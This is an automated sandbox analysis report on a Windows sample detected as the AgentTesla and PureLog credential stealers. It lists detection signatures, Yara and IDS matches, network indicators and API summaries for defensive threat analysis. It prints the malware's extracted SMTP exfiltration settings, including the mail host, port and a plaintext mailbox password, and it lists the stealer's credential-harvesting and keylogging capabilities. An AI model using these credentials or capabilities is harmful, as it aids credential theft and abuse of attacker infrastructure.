Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
w6dnPra4mx.exe

Overview

General Information

Sample name:w6dnPra4mx.exe
renamed because original name is a hash value
Original sample name:12ec08ba12e0e45f1f346eb6ff2395da6c0240f6c3722cdfb6c99bfd5f8b6f8b.exe
Analysis ID:1551066
MD5:2bcd76ac1faabd3b89af0b04a5d648c2
SHA1:066e8cbdd9299db252cfc103d1a0d7d05c0f98c5
SHA256:12ec08ba12e0e45f1f346eb6ff2395da6c0240f6c3722cdfb6c99bfd5f8b6f8b
Tags:AgentTeslaexeuser-adrian__luca
Infos:

Detection

AgentTesla, PureLog Stealer
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected AgentTesla
Yara detected PureLog Stealer
.NET source code contains method to dynamically call methods (often used by packers)
AI detected suspicious sample
Contains functionality to detect sleep reduction / modifications
Contains functionality to log keystrokes (.Net Source)
Machine Learning detection for sample
Maps a DLL or memory area into another process
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (date check)
Found evasive API chain (may stop execution after checking a module file name)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
Internet Provider seen in connection with other malware
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
Potential key logger detected (key state polling based)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: Suspicious Outbound SMTP Connections
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses SMTP (mail sending)
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

  • System is w10x64
  • w6dnPra4mx.exe (PID: 5076 cmdline: "C:\Users\user\Desktop\w6dnPra4mx.exe" MD5: 2BCD76AC1FAABD3B89AF0B04A5D648C2)
    • RegSvcs.exe (PID: 4900 cmdline: "C:\Users\user\Desktop\w6dnPra4mx.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
Agent Tesla, AgentTeslaA .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.
  • SWEED
https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla
{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.thelamalab.com", "Username": "billing@thelamalab.com", "Password": "Thel@malab@20!9"}
SourceRuleDescriptionAuthorStrings
00000002.00000002.3360881301.000000000289F000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
    00000002.00000002.3360881301.00000000028A7000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
      00000002.00000002.3361795716.0000000003851000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
        00000002.00000002.3361795716.0000000003851000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
          00000002.00000002.3361795716.0000000003851000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
            Click to see the 17 entries
            SourceRuleDescriptionAuthorStrings
            2.2.RegSvcs.exe.4db0ee8.6.raw.unpackJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
              2.2.RegSvcs.exe.4db0ee8.6.raw.unpackJoeSecurity_AgentTesla_1Yara detected AgentTeslaJoe Security
                2.2.RegSvcs.exe.4db0ee8.6.raw.unpackJoeSecurity_PureLogStealerYara detected PureLog StealerJoe Security
                  2.2.RegSvcs.exe.4db0ee8.6.raw.unpackINDICATOR_SUSPICIOUS_EXE_VaultSchemaGUIDDetects executables referencing Windows vault credential objects. Observed in infostealersditekSHen
                  • 0x3f319:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5
                  • 0x3f38b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55
                  • 0x3f415:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F
                  • 0x3f4a7:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28
                  • 0x3f511:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29
                  • 0x3f583:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC
                  • 0x3f619:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
                  • 0x3f6a9:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
                  2.2.RegSvcs.exe.262fdc6.2.unpackJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
                    Click to see the 62 entries

                    System Summary

                    barindex
                    Source: Network ConnectionAuthor: frack113: Data: DestinationIp: 162.251.80.30, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, Initiated: true, ProcessId: 4900, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49709
                    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                    2024-11-07T13:14:16.189017+010020229301A Network Trojan was detected172.202.163.200443192.168.2.649742TCP
                    2024-11-07T13:14:54.228720+010020229301A Network Trojan was detected172.202.163.200443192.168.2.649944TCP
                    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                    2024-11-07T13:15:41.625828+010020301711A Network Trojan was detected192.168.2.649709162.251.80.30587TCP
                    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                    2024-11-07T13:15:41.625828+010028397231Malware Command and Control Activity Detected192.168.2.649709162.251.80.30587TCP

                    Click to jump to signature section

                    Show All Signature Results

                    AV Detection

                    barindex
                    Source: 2.2.RegSvcs.exe.4db0ee8.6.raw.unpackMalware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.thelamalab.com", "Username": "billing@thelamalab.com", "Password": "Thel@malab@20!9"}
                    Source: w6dnPra4mx.exeReversingLabs: Detection: 71%
                    Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                    Source: w6dnPra4mx.exeJoe Sandbox ML: detected
                    Source: w6dnPra4mx.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                    Source: Binary string: _.pdb source: RegSvcs.exe, 00000002.00000002.3361795716.0000000003851000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3360711137.00000000025EE000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3362119496.0000000004DB0000.00000004.08000000.00040000.00000000.sdmp
                    Source: Binary string: wntdll.pdbUGP source: w6dnPra4mx.exe, 00000000.00000003.2112613588.00000000044F0000.00000004.00001000.00020000.00000000.sdmp, w6dnPra4mx.exe, 00000000.00000003.2112342111.0000000004690000.00000004.00001000.00020000.00000000.sdmp
                    Source: Binary string: wntdll.pdb source: w6dnPra4mx.exe, 00000000.00000003.2112613588.00000000044F0000.00000004.00001000.00020000.00000000.sdmp, w6dnPra4mx.exe, 00000000.00000003.2112342111.0000000004690000.00000004.00001000.00020000.00000000.sdmp
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452126
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,0_2_0045C999
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,0_2_00436ADE
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00434BEE
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0045DD7C FindFirstFileW,FindClose,0_2_0045DD7C
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD29
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,0_2_00436D2D
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442E1F
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00475FE5
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8D

                    Networking

                    barindex
                    Source: Network trafficSuricata IDS: 2030171 - Severity 1 - ET MALWARE AgentTesla Exfil Via SMTP : 192.168.2.6:49709 -> 162.251.80.30:587
                    Source: Network trafficSuricata IDS: 2839723 - Severity 1 - ETPRO MALWARE Win32/Agent Tesla SMTP Activity : 192.168.2.6:49709 -> 162.251.80.30:587
                    Source: global trafficTCP traffic: 192.168.2.6:49709 -> 162.251.80.30:587
                    Source: Joe Sandbox ViewASN Name: PUBLIC-DOMAIN-REGISTRYUS PUBLIC-DOMAIN-REGISTRYUS
                    Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.6:49742
                    Source: Network trafficSuricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.6:49944
                    Source: global trafficTCP traffic: 192.168.2.6:49709 -> 162.251.80.30:587
                    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0044289D InternetQueryDataAvailable,InternetReadFile,0_2_0044289D
                    Source: global trafficDNS traffic detected: DNS query: mail.thelamalab.com
                    Source: RegSvcs.exe, 00000002.00000002.3360881301.00000000028A7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://mail.thelamalab.com
                    Source: RegSvcs.exe, 00000002.00000002.3361795716.0000000003851000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3360711137.00000000025EE000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3362799137.00000000050A0000.00000004.08000000.00040000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3362119496.0000000004DB0000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: https://account.dyn.com/

                    Key, Mouse, Clipboard, Microphone and Screen Capturing

                    barindex
                    Source: 2.2.RegSvcs.exe.50a0000.8.raw.unpack, abAX9N.cs.Net Code: K8VU1S
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046C5D0
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00459FFF
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046C5D0
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,0_2_00456354
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_0047C08E

                    System Summary

                    barindex
                    Source: 2.2.RegSvcs.exe.4db0ee8.6.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                    Source: 2.2.RegSvcs.exe.262fdc6.2.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                    Source: 2.2.RegSvcs.exe.50a0000.8.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                    Source: 0.2.w6dnPra4mx.exe.2fb0000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
                    Source: 2.2.RegSvcs.exe.50a0000.8.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                    Source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
                    Source: 2.2.RegSvcs.exe.262eede.1.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                    Source: 2.2.RegSvcs.exe.3856458.5.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                    Source: 2.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects RedLine infostealer Author: ditekSHen
                    Source: 2.2.RegSvcs.exe.38a2d90.3.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                    Source: 2.2.RegSvcs.exe.4db0ee8.6.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                    Source: 2.2.RegSvcs.exe.262fdc6.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                    Source: 2.2.RegSvcs.exe.4db0000.7.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                    Source: 2.2.RegSvcs.exe.3855570.4.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                    Source: 2.2.RegSvcs.exe.3856458.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                    Source: 2.2.RegSvcs.exe.4db0000.7.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                    Source: 2.2.RegSvcs.exe.38a2d90.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                    Source: 2.2.RegSvcs.exe.3855570.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                    Source: 2.2.RegSvcs.exe.262eede.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                    Source: 00000002.00000002.3362119496.0000000004DB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                    Source: 00000002.00000002.3359746953.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
                    Source: 00000000.00000002.2119261873.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects RedLine infostealer Author: ditekSHen
                    Source: 00000002.00000002.3362799137.00000000050A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00434D50: GetFullPathNameW,__swprintf,_wcslen,_wcslen,_wcslen,CreateDirectoryW,CreateFileW,_memset,_wcslen,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,0_2_00434D50
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004461ED _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_004461ED
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004364AA
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004120380_2_00412038
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004271610_2_00427161
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0047E1FA0_2_0047E1FA
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004212BE0_2_004212BE
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004433900_2_00443390
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004433910_2_00443391
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0041A46B0_2_0041A46B
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0041240C0_2_0041240C
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004465660_2_00446566
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004045E00_2_004045E0
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0041D7500_2_0041D750
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004037E00_2_004037E0
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004278590_2_00427859
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_004128180_2_00412818
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0040F8900_2_0040F890
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0042397B0_2_0042397B
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00409A400_2_00409A40
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00411B630_2_00411B63
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0047CBF00_2_0047CBF0
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0044EBBC0_2_0044EBBC
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00412C380_2_00412C38
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0044ED9A0_2_0044ED9A
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00423EBF0_2_00423EBF
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_00424F700_2_00424F70
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_0041AF0D0_2_0041AF0D
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: 0_2_03EF36280_2_03EF3628
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_00408C602_2_00408C60
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_0040DC112_2_0040DC11
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_00407C3F2_2_00407C3F
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_00418CCC2_2_00418CCC
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_00406CA02_2_00406CA0
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_004028B02_2_004028B0
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_0041A4BE2_2_0041A4BE
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_004182442_2_00418244
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_004016502_2_00401650
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_00402F202_2_00402F20
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_004193C42_2_004193C4
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_004187882_2_00418788
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_00402F892_2_00402F89
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_00402B902_2_00402B90
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_004073A02_2_004073A0
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_0257CA682_2_0257CA68
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_0257D6802_2_0257D680
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_025710302_2_02571030
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_025710262_2_02571026
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_0257CDB02_2_0257CDB0
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_05E250182_2_05E25018
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_05E2BBD82_2_05E2BBD8
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_05E282902_2_05E28290
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_05E2ADB82_2_05E2ADB8
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_05E200402_2_05E20040
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_05E200072_2_05E20007
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_05E695E82_2_05E695E8
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_05E643372_2_05E64337
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_05E606382_2_05E60638
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 2_2_05E678D82_2_05E678D8
                    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: String function: 0040E1D8 appears 44 times
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: String function: 00445975 appears 65 times
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: String function: 0041171A appears 37 times
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: String function: 0041718C appears 45 times
                    Source: C:\Users\user\Desktop\w6dnPra4mx.exeCode function: String function: 0040E6D0 appears 35 times
                    Source: w6dnPra4mx.exe, 00000000.00000003.2115014844.00000000047BD000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs w6dnPra4mx.exe
                    Source: w6dnPra4mx.exe, 00000000.00000003.2111142694.0000000004613000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs w6dnPra4mx.exe
                    Source: w6dnPra4mx.exe, 00000000.00000002.2119261873.0000000002FB0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilename9d02a015-5a5b-4340-adbb-c530e02a0bc4.exe4 vs w6dnPra4mx.exe
                    Source: w6dnPra4mx.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                    Source: 2.2.RegSvcs.exe.4db0ee8.6.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                    Source: 2.2.RegSvcs.exe.262fdc6.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                    Source: 2.2.RegSvcs.exe.50a0000.8.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                    Source: 0.2.w6dnPra4mx.exe.2fb0000.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
                    Source: 2.2.RegSvcs.exe.50a0000.8.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
                    Source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
                    Source: 2.2.RegSvcs.exe.262eede.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
